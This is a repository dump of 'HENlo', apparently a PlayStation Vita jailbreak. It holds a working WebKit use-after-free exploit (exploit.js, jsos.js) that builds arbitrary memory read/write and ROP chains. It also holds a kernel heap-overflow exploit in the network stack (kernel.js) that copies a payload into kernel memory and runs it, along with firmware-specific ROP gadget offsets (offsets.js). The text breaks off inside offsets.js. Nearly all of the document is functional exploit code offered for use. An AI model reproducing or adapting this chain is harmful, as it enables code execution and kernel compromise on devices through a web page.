Repository: TheOfficialFloW/HENlo Branch: master Commit: 7405023eb55a Files: 11 Total size: 68.9 KB Directory structure: gitextract_eqjdimzx/ ├── LICENSE ├── exploit.js ├── index.html ├── jsos.js ├── kernel.js ├── offsets.js ├── payload/ │ ├── LICENSE │ ├── Makefile │ ├── linker.x │ └── payload.c └── server.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENSE ================================================ The MIT License (MIT) Copyright (C) 2020 TheFloW Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: exploit.js ================================================ /* exploit.js -- implementation of the WebKit exploit * * Copyright (C) 2020 TheFloW * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ var _dview = null; function u2d(low, hi) { if (!_dview) _dview = new DataView(new ArrayBuffer(16)); _dview.setUint32(0, hi); _dview.setUint32(4, low); return _dview.getFloat64(0); } function d2u(d) { if (!_dview) _dview = new DataView(new ArrayBuffer(16)); _dview.setFloat64(0, d); return { low: _dview.getUint32(4), hi: _dview.getUint32(0) }; } function init_memory(start_addr) { return function(size) { var res = start_addr; start_addr += size; return res; } } function mymemset(addr, b, len) { for (var i = 0; i < len; i++) { aspace[addr + i] = b; } } function mymemcpy(addr, data, len) { for (var i = 0; i < len; i++) { aspace[addr + i] = data.charCodeAt(i); } } function read_string(addr) { var i = aspace[addr]; var str = ""; while (i !== 00) { str += String.fromCharCode(i); addr++; i = aspace[addr]; } return str; } function decode_mov(addr) { var opcode = aspace32[addr / 4]; return ((opcode & 0xf0000) >> 4) | (opcode & 0xfff); } function decode_stub(addr) { return ((decode_mov(addr) & 0xffff) | (decode_mov(addr + 4) << 16)) >>> 0; } function gc() { for (var i = 0; i < 100; i++) { new Uint32Array(0x10000); } } var frame_arr = []; var frame_idx = 0; var peek_val = 0; function peek_stack() { var ret_val = undefined; var retno = 0xffff; arguments.length = { valueOf: function() { var _retno = retno; retno = 1; return _retno; } }; var args = arguments; (function() { (function() { (function() { ret_val = arguments[0xff00]; }).apply(null, args); }).apply(null, frame_arr); }).apply(null, frame_arr); peek_val = ret_val; return ret_val; } function poke_stack(val) { frame_arr[frame_idx] = val; (function() { (function() { (function() { }).apply(null, frame_arr); }).apply(null, frame_arr); }).apply(null, frame_arr); frame_arr[frame_idx] = ""; } function exploit() { var ua = navigator.userAgent; var ver = ua.substring(ua.indexOf("5.0 (") + 22, ua.indexOf(") Apple")); var version_dep = version_deps[ver]; if (version_dep == undefined) { alert("ERROR: Unsupported firmware."); return -1; } init_offsets(ver); for (var i = 0; i < 0xffff; i++) { frame_arr[i] = i; } frame_idx = 0; poke_stack(0); if (peek_stack() == undefined) { alert("ERROR: WebKit version not vulnerable."); return -1; } frame_idx = 0; poke_stack(0); peek_stack(); frame_idx = peek_val; poke_stack(0x4141); for (var k = 0; k < 8; k++) (function(){})(); peek_stack(); if (peek_val != 0x4141) { alert("ERROR: Could not align the stack."); return -1; } var uaf_replacement = new Array(0x400); for (var i = 0; i < 0x400; i++) { uaf_replacement[i] = []; for (var k = 0; k < 0x40; k++) { uaf_replacement[i][k] = 0x41414141; } uaf_replacement[i].unshift( uaf_replacement[i].shift()); // ensure ArrayStorage } var uaf_target = []; // no arraystorage for (var i = 0; i < 0x80; i++) { uaf_target[i] = u2d(0x41414141, 0x41414141); } poke_stack(uaf_target); // store uaf_target in stack uaf_target = 0; // remove reference for (var k = 0; k < 4; k++) gc(); // run GC peek_stack(); // read stored reference uaf_target = peek_val; peek_val = 0; // Corrupt JSArray by exploiting UaF for (var i = 0; i < 0x400; i++) { for (var k = 0x0; k < 0x80; k++) { uaf_replacement[i][k] = 0x7fffffff; if (uaf_target.length == 0x7fffffff) { var yi = i; for (var i = 0; i < yi; i++) { uaf_replacement[i] = 0; } for (var i = yi + 1; i < 0x400; i++) { uaf_replacement[i] = 0; } gc(); break; } } } if (uaf_target.length != 0x7fffffff) { alert("ERROR: Could not corrupt the JSArray."); return -1; } // Spray and interleave buffers and textareas var textareas = new Array(0x2000); var buffers = new Array(0x2000); var buffer_len = 0x2000; for (var i = 0; i < 0x2000; i++) { buffers[i] = new ArrayBuffer(buffer_len); var e = document.createElement("textarea"); e.rows = 0x66656463; textareas[i] = e; } // Use corrupted JSArray to corrupt a ArrayBuffer var base_addr = -1; for (var i = 0x10000; i < 0x40000; i++) { if (uaf_target[i] != 0) { _dview.setFloat64(0, uaf_target[i]); if (_dview.getUint32(4) == buffer_len) { _dview.setUint32(4, 0xfffffffc); uaf_target[i] = _dview.getFloat64(0); // buffer size _dview.setFloat64(0, uaf_target[i - 1]); base_addr = _dview.getUint32(0); _dview.setUint32(0, 0); uaf_target[i - 1] = _dview.getFloat64(0); // buffer offset break; } } } // Find corrupted ArrayBuffer var corrupted = null; for (var i = 0; i < buffers.length; i++) { if (buffers[i].byteLength != buffer_len) { corrupted = buffers[i]; break; } } if (!corrupted) { alert("ERROR: Could not corrupt the ArrayBuffer."); return -1; } // Arbitrary rw primitives aspace = new Uint8Array(corrupted); aspace16 = new Uint16Array(corrupted); aspace32 = new Uint32Array(corrupted); // Use corrupted ArrayBuffer to corrupt a textarea var textarea_addr = null; for (var i = base_addr / 4; i < base_addr / 4 + 0x4000; i++) { if (aspace32[i] == 0x66656463) { aspace32[i] = 0x55555555; textarea_addr = i * 4; break; } } // Find corrupted textarea var corrupted_textarea = null; for (var i = 0; i < textareas.length; i++) { if (textareas[i].rows == 0x55555555) { corrupted_textarea = textareas[i]; break; } } if (!corrupted_textarea) { alert("ERROR: Could not corrupt the textarea."); return -1; } // Leak pointer var vtidx = textarea_addr + elementvtable_off; var textareavptr = aspace32[vtidx / 4]; // Get bases var webkit_base = textareavptr - SceWebKit_base_off; var net_base = decode_stub(webkit_base + SceNet_stub_off) - SceNet_base_off; var libc_base = ( decode_stub(webkit_base + SceLibc_stub_off) - SceLibc_base_off); allocate_memory = init_memory(base_addr - 0x400000); // Create fake vtable and replace old one var fkvtable = allocate_memory(0x400 * 4); for (var i = 0; i < 0x400; i++) { aspace32[fkvtable / 4 + i] = aspace32[textareavptr / 4 + i]; } aspace32[vtidx / 4] = fkvtable; // Initialize ROP gadgets and library functions var bases = { "SceWebKit": webkit_base, "SceNet": net_base, "SceLibc": libc_base, }; var tmpmem = allocate_memory(0x5000); var caller = get_caller(tmpmem, corrupted_textarea, vtidx, fkvtable); init_ggts(bases, caller, ver); kxploit(caller, ver); } function go() { try { exploit(); } catch (e) { alert(e); } } ================================================ FILE: index.html ================================================
================================================ FILE: jsos.js ================================================ /* jsos.js -- JavaScript on Steroids * * Copyright (C) 2020 TheFloW * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ function init_offsets(ver) { var version_dep = version_deps[ver]; for (b in version_dep) { var offsets = version_dep[b].offsets; for (off in offsets) { if (offsets.hasOwnProperty(off)) { window[off] = offsets[off]; } } } } function init_ggts(bases, caller, ver) { var version_dep = version_deps[ver]; for (b in bases) { var results = {}; if (bases.hasOwnProperty(b)) { var functions = version_dep[b].functions; for (fcn in functions) { if (functions.hasOwnProperty(fcn)) { window[fcn] = caller(functions[fcn] + bases[b]); } } var gadgets = version_dep[b].gadgets; for (ggt in gadgets) { if (gadgets.hasOwnProperty(ggt)) { window[ggt] = gadgets[ggt] + bases[b]; } } } } } function get_caller(tmpmem, element, vtidx, fkvtable) { return function (fcn) { return function(r0, r1, r2, r3) { var allocate_tmp = init_memory(tmpmem); var context_size = 0x30; var eleobj_size = 0x22; var scontext = allocate_tmp(context_size * 4); var seleobj = allocate_tmp(eleobj_size * 4); // Save Element object for (var i = 0; i < eleobj_size; i++) { aspace32[seleobj / 4 + i] = aspace32[vtidx / 4 + i]; } // Call setjmp aspace32[fkvtable / 4 + setscrollleft_off] = setjmp; element.scrollLeft = 0xdeadbabe; // Save jmp context for (var i = 0; i < context_size; i++) { aspace32[scontext / 4 + i] = aspace32[vtidx / 4 + i]; } // Restore Element object for (var i = 0; i < eleobj_size; i++) { aspace32[vtidx / 4 + i] = aspace32[seleobj / 4 + i]; } var r1values = allocate_tmp(0x1c); var r0values = allocate_tmp(0x1c); var r4values = allocate_tmp(0x10); var r8values = allocate_tmp(0x14); var r8values_0 = allocate_tmp(0x14); var r1values_1 = allocate_tmp(0x10); var retval = allocate_tmp(0x4); mymemset(retval, 0, 4); aspace32[(r1values + 0x00) / 4] = r0values; // r0 aspace32[(r1values + 0x04) / 4] = r2; // r2 aspace32[(r1values + 0x08) / 4] = r3; // r3 aspace32[(r1values + 0x0c) / 4] = 0xDEADBEEF; // r8 aspace32[(r1values + 0x10) / 4] = 0xDEADBEEF; // fp aspace32[(r1values + 0x14) / 4] = 0xDEADBEEF; // ip aspace32[(r1values + 0x18) / 4] = ldm_r0_r0_r1_r4_r8_fp_ip_pc; // pc aspace32[(r0values + 0x00) / 4] = r0; // r0 aspace32[(r0values + 0x04) / 4] = 0xDEADBEEF; // r1 aspace32[(r0values + 0x08) / 4] = r4values; // r4 aspace32[(r0values + 0x0c) / 4] = r8values; // r8 aspace32[(r0values + 0x10) / 4] = 0xDEADBEEF; // fp aspace32[(r0values + 0x14) / 4] = 0xDEADBEEF; // ip aspace32[(r0values + 0x18) / 4] = ldm_r8_r1_r6_ip_lr_pc; // pc aspace32[(r8values + 0x00) / 4] = r1; // r1 aspace32[(r8values + 0x04) / 4] = 0xDEADBEEF; // r6 aspace32[(r8values + 0x08) / 4] = 0xDEADBEEF; // ip aspace32[(r8values + 0x0c) / 4] = ldm_r4_r3_r8_ip_pc; // lr aspace32[(r8values + 0x10) / 4] = fcn; // pc aspace32[(r4values + 0x00) / 4] = retval; // r3 aspace32[(r4values + 0x04) / 4] = r8values_0; // r8 aspace32[(r4values + 0x08) / 4] = 0xDEADBEEF; // ip aspace32[(r4values + 0x0c) / 4] = ldm_r8_r1_r6_ip_lr_pc; // pc aspace32[(r8values_0 + 0x00) / 4] = r1values_1; // r1 aspace32[(r8values_0 + 0x04) / 4] = 0xDEADBEEF; // r6 aspace32[(r8values_0 + 0x08) / 4] = 0xDEADBEEF; // ip aspace32[(r8values_0 + 0x0c) / 4] = ldm_r1_r0_ip_lr_pc; // lr aspace32[(r8values_0 + 0x10) / 4] = str_r0_r3_bx_lr; // pc aspace32[(r1values_1 + 0x00) / 4] = scontext; // r0 aspace32[(r1values_1 + 0x04) / 4] = 0xDEADBEEF; // ip aspace32[(r1values_1 + 0x08) / 4] = 0xDEADBEEF; // lr aspace32[(r1values_1 + 0x0c) / 4] = longjmp; // pc // Trigger ROP chain aspace32[fkvtable / 4 + setscrollleft_off] = ldm_r1_r0_r2_r3_r8_fp_ip_pc; element.scrollLeft = r1values; return aspace32[retval / 4]; } }; } ================================================ FILE: kernel.js ================================================ /* exploit.js -- implementation of the kernel exploit * * Copyright (C) 2020 TheFloW * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ SCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RX = 0x1020d005 SCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RW = 0x1020d006 SCE_NET_AF_INET = 2 SCE_NET_SOCK_DGRAM = 2 SIOCDIFADDR = 0x80206919 SIOCAIFADDR = 0x8040691a SIOCIFDESTROY = 0x80206979 SIOCIFCREATE = 0x8020697a SIZEOF_SIN = 0x10 PLANT_SIZE = 0x4000 DUMMY_SIZE = 0x4000 SOFTC_SIZE = 0x550 SPLIT_SIZE = 0x148 SPRAY_SIZE = 0xc8 HOLE_SIZE = 0x80 IF_SIZE = 0x140 NUM_SPRAY = 0x100 NUM_SOCKS = 0x80 NUM_SLOTS = 0x04 function load_binary_resource(url) { var req = new XMLHttpRequest(); req.open('GET', url, false); req.overrideMimeType('text\/plain; charset=x-user-defined'); req.send(null); if (req.status != 200) return ''; return req.responseText; } function inet_addr(str) { var ip_list = str.split(".").reverse(); var a1 = parseInt(ip_list[0]); var a2 = parseInt(ip_list[1]); var a3 = parseInt(ip_list[2]); var a4 = parseInt(ip_list[3]); var addr = ((a1 << 24) | (a2 << 16) | (a3 << 8) | a4) >>> 0; return addr; } function if_add_addr(sock, name, addr, dstaddr, mask) { var ifr = allocate_memory(0x40); mymemset(ifr, 0, 0x40); mymemcpy(ifr, name, name.length); aspace[(ifr + 0x10) / 1] = SIZEOF_SIN; aspace[(ifr + 0x11) / 1] = SCE_NET_AF_INET; aspace32[(ifr + 0x14) / 4] = addr; aspace[(ifr + 0x20) / 1] = SIZEOF_SIN; aspace[(ifr + 0x21) / 1] = SCE_NET_AF_INET; aspace32[(ifr + 0x24) / 4] = dstaddr; aspace[(ifr + 0x30) / 1] = SIZEOF_SIN; aspace[(ifr + 0x31) / 1] = SCE_NET_AF_INET; aspace32[(ifr + 0x34) / 4] = mask; return sceNetSyscallIoctl(sock, SIOCAIFADDR, ifr); } function if_del_addr(sock, name, addr) { var ifr = allocate_memory(0x20); mymemset(ifr, 0, 0x20); mymemcpy(ifr, name, name.length); aspace[(ifr + 0x10) / 1] = SIZEOF_SIN; aspace[(ifr + 0x11) / 1] = SCE_NET_AF_INET; aspace32[(ifr + 0x14) / 4] = addr; return sceNetSyscallIoctl(sock, SIOCDIFADDR, ifr); } function if_clone_create(sock, name) { var ifr = allocate_memory(0x20); mymemset(ifr, 0, 0x20); mymemcpy(ifr, name, name.length); return sceNetSyscallIoctl(sock, SIOCIFCREATE, ifr); } function if_clone_destroy(sock, name) { var ifr = allocate_memory(0x20); mymemset(ifr, 0, 0x20); mymemcpy(ifr, name, name.length); return sceNetSyscallIoctl(sock, SIOCIFDESTROY, ifr); } function net_malloc(slot, size) { var args = allocate_memory(0x08); aspace32[(args + 0x00) / 4] = slot; aspace32[(args + 0x04) / 4] = size; return sceNetSyscallControl(-1, 0x20000008, args, 0x08); } function net_free(slot) { var args = allocate_memory(0x08); aspace32[(args + 0x00) / 4] = slot; aspace32[(args + 0x04) / 4] = 0; return sceNetSyscallControl(-1, 0x20000009, args, 0x08); } function RopChain(buf, buf_addr) { this.chain = []; this.sysmem_offsets = []; this.sysmem_gadgets = []; this.push = function(gadget) { this.chain.push(gadget); }; this.push_sysmem = function(gadget) { this.sysmem_offsets.push(this.chain.length * 4); this.sysmem_gadgets.push(gadget); this.push(0xDEADBEEF); }; this.compile = function() { var resolve_stub_size = this.sysmem_offsets.length * 16 * 4; for (var i = 0; i < this.sysmem_offsets.length; i++) { var offset = buf_addr + resolve_stub_size + this.sysmem_offsets[i]; var gadget = SceSysmem_base_off + this.sysmem_gadgets[i]; var resolve_stub = [ movs_r0_0_pop_r3_pc, // pc ksceKernelFreeMemBlock, // r3 blx_r3_pop_r3_pc, // pc 0xDEADBEEF, // r3 push_r3_r4_lr_pop_r0_r1_r2_r6_r0_r1_r3_r4_r5_r6_pc, // pc 0xDEADBEEF, // r6 0xDEADBEEF, // r0 offset, // r1 add_r2_r4_pop_r4_r5_str_r2_r1_bx_lr, // r3 gadget, // r4 0xDEADBEEF, // r5 0xDEADBEEF, // r6 blx_r3_pop_r3_pc, // pc 0xDEADBEEF, // r4 0xDEADBEEF, // r5 0xDEADBEEF, // r3 ]; Array.prototype.unshift.apply(this.chain, resolve_stub); } for (var i = 0; i < this.chain.length; i++) { aspace32[(buf + i * 4) / 4] = this.chain[i]; } } } function build_krop(buf, buf_addr, payload, payload_size) { var krop = new RopChain(buf, buf_addr); var payload_code_blockid = buf_addr + 0x00; var payload_code_block = buf_addr + 0x04; // Allocate code block krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc krop.push(empty_string); // r0 krop.push(SCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RW); // r1 krop.push((payload_size + 0xfff) & ~0xfff); // r2 krop.push(0); // r3 krop.push(ksceKernelAllocMemBlock); // r4 krop.push(0xDEADBEEF); // r6 krop.push(blx_r4_add_sp_c_pop_r4_r5_pc); // pc krop.push(0xDEADBEEF); // dummy krop.push(0xDEADBEEF); // dummy krop.push(0xDEADBEEF); // dummy krop.push(payload_code_blockid); // r4 krop.push(0xDEADBEEF); // r5 krop.push(str_r0_r4_pop_r4_pc); // pc krop.push(0xDEADBEEF); // r4 // Get code block krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc krop.push(0xDEADBEEF); // r0 krop.push(payload_code_block); // r1 krop.push(0xDEADBEEF); // r2 krop.push(ksceKernelGetMemBlockBase); // r4 krop.push(payload_code_blockid); // r4 krop.push(0xDEADBEEF); // r6 krop.push(ldr_r0_r4_pop_r4_pc); // pc krop.push(0xDEADBEEF); // r4 krop.push(blx_r3_pop_r3_pc); // pc krop.push(0xDEADBEEF); // r3 // Copy payload from user to code block krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc krop.push(0xDEADBEEF); // r0 krop.push(payload); // r1 krop.push(payload_size); // r2 krop.push(ksceKernelMemcpyUserToKernel); // r3 krop.push(payload_code_block); // r4 krop.push(0xDEADBEEF); // r6 krop.push(ldr_r0_r4_pop_r4_pc); // pc krop.push(0xDEADBEEF); // r4 krop.push(blx_r3_pop_r3_pc); // pc krop.push(0xDEADBEEF); // r3 // Mark code block as executable krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc krop.push(0xDEADBEEF); // r0 krop.push(SCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RX); // r1 krop.push(0xDEADBEEF); // r2 krop.push_sysmem(ksceKernelRemapBlock); // r3 krop.push(payload_code_blockid); // r4 krop.push(0xDEADBEEF); // r6 krop.push(ldr_r0_r4_pop_r4_pc); // pc krop.push(0xDEADBEEF); // r4 krop.push(blx_r3_pop_r3_pc); // pc krop.push(0xDEADBEEF); // r3 // Clean cache krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc krop.push(0xDEADBEEF); // r0 krop.push((payload_size + 0x1f) & ~0x1f); // r1 krop.push(0xDEADBEEF); // r2 krop.push_sysmem(ksceKernelCpuDcacheWritebackRange); // r3 krop.push(payload_code_block); // r4 krop.push(0xDEADBEEF); // r6 krop.push(ldr_r0_r4_pop_r4_pc); // pc krop.push(0xDEADBEEF); // r4 krop.push(blx_r3_pop_r3_pc); // pc krop.push(0xDEADBEEF); // r3 // Execute payload krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc krop.push(0xDEADBEEF); // r0 krop.push_sysmem(0); // r1 krop.push(iflist_addr); // r2 krop.push(1); // r3 krop.push(payload_code_block); // r4 krop.push(0xDEADBEEF); // r6 krop.push(ldr_r0_r4_pop_r4_pc); // pc krop.push(0xDEADBEEF); // r4 krop.push(orrs_r0_r3_pop_r3_pc); // pc krop.push(0xDEADBEEF); // r3 krop.push(blx_r0_pop_r3_pc); // pc // Compile kernel ROP chain krop.compile(); } function kxploit(caller, ver) { // Fetch kernel payload var payload = load_binary_resource("payload.bin"); var payload_size = payload.length; var payload_buf = malloc(payload_size); mymemcpy(payload_buf, payload, payload_size); // Empty string var sockname = allocate_memory(0x04); aspace32[sockname / 4] = 0; // Initialize socket var sock = sceNetSyscallSocket( sockname, SCE_NET_AF_INET, SCE_NET_SOCK_DGRAM, 0); // Destroy clone interface if_clone_destroy(sock, "pppoe1337"); // Get 2nd interface name var iflist = allocate_memory(2 * IF_SIZE); sceNetSyscallGetIfList(iflist, 2); var ifname = read_string(iflist + IF_SIZE); // Delete custom address if_del_addr(sock, ifname, 0x13371337); // Free all slots for (var i = 0; i < NUM_SLOTS; i++) net_free(i); // Reserve memory for heap feng shui net_malloc(0, 0x8710); // Heap grooming var buf = allocate_memory(SPRAY_SIZE); mymemset(buf, 0, SPRAY_SIZE); var sin = allocate_memory(SIZEOF_SIN); mymemset(sin, 0, 0x10); aspace[(sin + 0x00) / 1] = SIZEOF_SIN; aspace[(sin + 0x01) / 1] = SCE_NET_AF_INET; aspace16[(sin + 0x02) / 2] = sceNetHtons(8888); aspace32[(sin + 0x04) / 4] = inet_addr("127.0.0.1"); sceNetSyscallBind(sock, sin, SIZEOF_SIN); var iov = allocate_memory(0x08); aspace32[(iov + 0x00) / 4] = buf; // iov_base aspace32[(iov + 0x04) / 4] = SPRAY_SIZE; // iov_len var msg = allocate_memory(0x1c); aspace32[(msg + 0x00) / 4] = sin; // msg_name aspace32[(msg + 0x04) / 4] = SIZEOF_SIN; // msg_namelen aspace32[(msg + 0x08) / 4] = iov; // msg_iov aspace32[(msg + 0x0c) / 4] = 1; // msg_iovlen aspace32[(msg + 0x10) / 4] = 0; // msg_control aspace32[(msg + 0x14) / 4] = 0; // msg_controllen aspace32[(msg + 0x18) / 4] = 0; // msg_flags for (var i = 0; i < NUM_SPRAY; i++) sceNetSyscallSendmsg(sock, msg, 0); var spray_sock = []; for (var i = 0; i < NUM_SOCKS; i++) spray_sock[i] = sceNetSyscallSocket( sockname, SCE_NET_AF_INET, SCE_NET_SOCK_DGRAM, 0); // Heap feng shui // 0x20+0x4000+0x8+0x20+0x148+0x8+0x20+0x550+0x8+0x20+0x4000+0x8 net_free(0); net_malloc(0, 0x6e8 + PLANT_SIZE); net_malloc(3, DUMMY_SIZE); // prevent hole from coalescing net_free(0); net_malloc(0, PLANT_SIZE); net_malloc(1, SOFTC_SIZE); net_malloc(2, SPLIT_SIZE); // Allocate plant buffer var plant_buf = malloc(PLANT_SIZE); mymemset(plant_buf, 0, PLANT_SIZE); // Leak clone interface and chunk header var softc_leak = plant_buf + 0x2000; net_free(1); if_clone_create(sock, "pppoe1337"); if_clone_destroy(sock, "pppoe1337"); net_malloc(1, SOFTC_SIZE - 0x80); net_free(1); sceNetSyscallControl(-1, 0x14, softc_leak, SOFTC_SIZE); // Create clone interface if_clone_create(sock, "pppoe1337"); // Check for validity if (read_string(softc_leak + 0x14) != "pppoe1337" || aspace32[(softc_leak + 0x6c) / 4] != SOFTC_SIZE - 0x80) { if_clone_destroy(sock, "pppoe1337"); for (var i = 0; i < NUM_SLOTS; i++) net_free(i); for (var i = 0; i < NUM_SOCKS; i++) sceNetSyscallClose(spray_sock[i]); sceNetSyscallClose(sock); alert("ERROR: Could not leak heap memory."); return -1; } // Obtain kernel pointers netps_base = aspace32[(softc_leak + 0x64) / 4] + SceNetPs_base_off; iflist_addr = aspace32[(softc_leak + 0x74) / 4] - 0x150; // Initialize kernel ROP gadgets var ex_bases = { "SceNetPs": netps_base, }; init_ggts(ex_bases, caller, ver); // Fake object var fake = plant_buf + 0x1000; var fake_addr = iflist_addr + 0x6e8 + 0x1000; aspace32[(fake + 0x00) / 4] = fake_addr + 0x00; // r0 aspace32[(fake + 0x04) / 4] = 0xDEADBEEF; // r1 aspace32[(fake + 0x08) / 4] = 0xDEADBEEF; // r2 aspace32[(fake + 0x0c) / 4] = 0xDEADBEEF; // r3 aspace32[(fake + 0x10) / 4] = 0xDEADBEEF; // r4 aspace32[(fake + 0x14) / 4] = 0xDEADBEEF; // ip aspace32[(fake + 0x18) / 4] = fake_addr + 0x100; // sp aspace32[(fake + 0x1c) / 4] = 0xDEADBEEF; // lr aspace32[(fake + 0x20) / 4] = pop_pc; // pc aspace32[(fake + 0x34) / 4] = fake_addr + 0x00; // any valid address aspace32[(fake + 0x50) / 4] = ldm_r0_r0_r1_r2_r3_r4_ip_sp_lr_pc; // func aspace32[(fake + 0x58) / 4] = 1; // Build kernel ROP chain build_krop(fake + 0x100, fake_addr + 0x100, payload_buf, payload_size); // Plant data net_free(0); sceNetSyscallControl(-1, 0x20000000, plant_buf, PLANT_SIZE); net_malloc(0, PLANT_SIZE); // Prepare corruption if_add_addr(sock, ifname, 0x13371337, fake_addr, 0); // Create hole net_free(2); net_malloc(2, SPLIT_SIZE - HOLE_SIZE - 0x28); // Trigger overflow and code execution sceNetSyscallGetIfList(iflist, 0x0199999a); return 0; } ================================================ FILE: offsets.js ================================================ /* offsets.js -- offsets for exploitation * * Copyright (C) 2020 TheFloW * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ SceWebKit_gadgets_v361_v365 = { ldm_r0_r0_r1_r4_r8_fp_ip_pc: 0x5490e4, ldm_r1_r0_ip_lr_pc: 0x2b120, ldm_r1_r0_r2_r3_r8_fp_ip_pc: 0x62b6e0, ldm_r4_r3_r8_ip_pc: 0xb2bd4, ldm_r8_r1_r6_ip_lr_pc: 0x5579c0, str_r0_r3_bx_lr: 0x2431d1, } SceWebKit_gadgets_v368_v373 = { ldm_r0_r0_r1_r4_r8_fp_ip_pc: 0x549a80, ldm_r1_r0_ip_lr_pc: 0x2b19c, ldm_r1_r0_r2_r3_r8_fp_ip_pc: 0x62f808, ldm_r4_r3_r8_ip_pc: 0xb2d3c, ldm_r8_r1_r6_ip_lr_pc: 0x5587b0, str_r0_r3_bx_lr: 0x24367d, } SceWebKit_offsets_v361_v365 = { SceWebKit_base_off: 0xabb63c, SceNet_stub_off: 0x85f3f4, SceLibc_stub_off: 0x85f4e4, elementvtable_off: -0x70, setscrollleft_off: 0x4e, } SceWebKit_offsets_v368_v373 = { SceWebKit_base_off: 0xac3544, SceNet_stub_off: 0x866ab8, SceLibc_stub_off: 0x866ba8, elementvtable_off: -0x70, setscrollleft_off: 0x4e, } SceLibc_functions_v360_v373 = { malloc: 0xfa19, free: 0xfa29, } SceLibc_gadgets_v360_v373 = { setjmp: 0x14071, longjmp: 0x14099, } SceLibc_offsets_v360_v373 = { SceLibc_base_off: 0xfa49, } SceNet_functions_v360_v373 = { sceNetHtons: 0x23d5, sceNetSyscallClose: 0x9f60, sceNetSyscallBind: 0x9f80, sceNetSyscallIoctl: 0x9f90, sceNetSyscallSocket: 0xa030, sceNetSyscallGetIfList: 0xa050, sceNetSyscallSendmsg: 0xa0b0, sceNetSyscallControl: 0xa110, } SceNet_offsets_v360_v373 = { SceNet_base_off: 0x23ed, } SceNetPs_gadgets_v363_v370 = { blx_r0_pop_r3_pc: 0x2a11b, blx_r3_pop_r3_pc: 0x1959, blx_r4_add_sp_c_pop_r4_r5_pc: 0xe361, pop_pc: 0x1619f, pop_r0_r1_r2_r3_r4_r6_pc: 0x230cd, ldm_r0_r0_r1_r2_r3_r4_ip_sp_lr_pc: 0xb734, ldr_r0_r4_pop_r4_pc: 0x2a79d, str_r0_r4_pop_r4_pc: 0x1693f, push_r3_r4_lr_pop_r0_r1_r2_r6_r0_r1_r3_r4_r5_r6_pc: 0x2b067, add_r2_r4_pop_r4_r5_str_r2_r1_bx_lr: 0x24c1b, orrs_r0_r3_pop_r3_pc: 0x3c2f, movs_r0_0_pop_r3_pc: 0xce5, ksceKernelFreeMemBlock: 0x2a7a8, ksceKernelGetMemBlockBase: 0x2a7e8, ksceKernelMemcpyUserToKernel: 0x2a7f8, ksceKernelAllocMemBlock: 0x2a818, empty_string: 0x22, } SceNetPs_gadgets_v371_v373 = { blx_r0_pop_r3_pc: 0x2a14b, blx_r3_pop_r3_pc: 0x1959, blx_r4_add_sp_c_pop_r4_r5_pc: 0xe391, pop_pc: 0x161cf, pop_r0_r1_r2_r3_r4_r6_pc: 0x230fd, ldm_r0_r0_r1_r2_r3_r4_ip_sp_lr_pc: 0xb764, ldr_r0_r4_pop_r4_pc: 0x2a7cd, str_r0_r4_pop_r4_pc: 0x1696f, push_r3_r4_lr_pop_r0_r1_r2_r6_r0_r1_r3_r4_r5_r6_pc: 0x2b097, add_r2_r4_pop_r4_r5_str_r2_r1_bx_lr: 0x24c4b, orrs_r0_r3_pop_r3_pc: 0x3c2f, movs_r0_0_pop_r3_pc: 0xce5, ksceKernelFreeMemBlock: 0x2a7d8, ksceKernelGetMemBlockBase: 0x2a818, ksceKernelMemcpyUserToKernel: 0x2a828, ksceKernelAllocMemBlock: 0x2a848, empty_string: 0x22, } SceNetPs_offsets_v363_v370 = { SceNetPs_base_off: -0x8d45, } SceNetPs_offsets_v371_v373 = { SceNetPs_base_off: -0x8d75, } SceSysmem_offsets_v363_v373 = { SceSysmem_base_off: -0x810b, ksceKernelRemapBlock: 0x7f69, ksceKernelCpuDcacheWritebackRange: 0x22fcd, } version_deps = { // TODO: 3.60 // TODO: 3.61 "3.63": { "SceWebKit": { gadgets: SceWebKit_gadgets_v361_v365, offsets: SceWebKit_offsets_v361_v365, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v363_v370, offsets: SceNetPs_offsets_v363_v370, }, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, "3.65": { "SceWebKit": { gadgets: SceWebKit_gadgets_v361_v365, offsets: SceWebKit_offsets_v361_v365, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v363_v370, offsets: SceNetPs_offsets_v363_v370, }, 